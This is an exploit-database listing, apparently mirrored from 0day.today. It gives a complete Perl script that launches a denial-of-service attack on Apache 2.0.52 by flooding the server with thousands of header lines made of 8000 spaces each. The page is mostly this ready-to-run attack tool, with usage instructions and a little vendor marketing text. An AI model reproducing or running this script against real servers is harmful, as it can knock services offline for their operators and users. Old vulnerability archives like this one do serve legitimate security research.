Lucene search
K

Apache 2.0.52 Multiple Space Header DoS (Perl code)

🗓️ 02 Nov 2004 00:00:00Reported by Noam RathausType 
zdt
 zdt
🔗 0day.today👁 25 Views

Script for Denial of Service attack on Apache 2.0.52 using multiple space headers in Perl code.

Code
===================================================
Apache 2.0.52 Multiple Space Header DoS (Perl code)
===================================================



#!/usr/bin/perl
# Noam Rathaus of Beyond Security Ltd.
#

use strict;
use IO::Socket::INET;

usage() unless (@ARGV == 2);

my $host = shift(@ARGV);
my $port = shift(@ARGV);

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to the host.\n";

$socket->autoflush(1);

print "Sending...\n";

print $socket "GET / HTTP/1.0\n";

for (my $count = 0; $count < 8000; $count++)
{
 if ($count % 10 == 0)
 {
  print ".";
 }
 print $socket (" "x8000)."\n";
}

print $socket "\n";

print "Done.\n";

while (<$socket>)
{
 print $_;
}

close($socket);
exit(0);

sub usage
{
 print "\nApache 2.0.52 8000x\" \" DoS attack\n";
 print "\nUsage: apache_xpl.pl [host] [port]\n";
 print "\n";
 exit(1);
}



#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation